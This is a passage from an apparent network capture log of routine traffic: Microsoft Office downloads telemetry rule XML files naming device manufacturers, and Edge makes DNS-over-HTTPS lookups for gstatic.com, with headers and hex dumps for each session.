2024-11-17 11:35:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: cf84bce2-801e-0083-40b8-37f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113530Z-1866b5c5fbbldb6rhC1DFW4bew00000004eg000000006m42 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:30 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:30 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a0c6f192-101e-007a-2f09-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113530Z-1866b5c5fbbtpjhjhC1DFWr6tw000000043000000000adr0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:30 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:30 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:30 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 15e9ab73-801e-0047-76bb-377265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113530Z-1866b5c5fbbkcpv2hC1DFWf1yc0000000490000000007brn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:30 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:30 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dd4d8867-801e-0083-7a9b-38f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113530Z-16547b76f7fw2955hC1DFWsptc00000004r0000000007anh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:30 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 8a4e7403-501e-0047-0c09-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113530Z-1866b5c5fbbx98hfhC1DFWuqmg00000002w000000000bsqh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:31 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:31 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: fdac4f62-e01e-0085-71ab-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113531Z-16547b76f7fqqjnnhC1DFWxv7400000002m0000000003dfc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:31 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:31 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113531Z-16547b76f7fbkfmzhC1DFWm9tw00000003zg0000000000a7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:31 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:31 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7a7e882b-d01e-002b-49aa-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113531Z-16547b76f7fm8pcwhC1DFWaxcc00000002ag000000006m2z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:31 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:31 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0304051c-b01e-0070-43af-361cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113531Z-1866b5c5fbb7km9phC1DFWr2sc000000033g000000004dp9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:31 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:31 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 8417a631-c01e-00a2-12c6-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113531Z-16547b76f7fjx5nrhC1DFW4dsc00000001cg000000007ff2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:31 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49818	172.64.41.3	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-17 11:35:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-17 11:35:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 17 Nov 2024 11:35:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3f6afc5e71e54a-DFW alt-svc: h3=":443"; ma=86400
2024-11-17 11:35:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 16 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49819	172.64.41.3	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-17 11:35:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-17 11:35:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 17 Nov 2024 11:35:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3f6afc7b73ddae-DFW alt-svc: h3=":443"; ma=86400
2024-11-17 11:35:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 13 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data 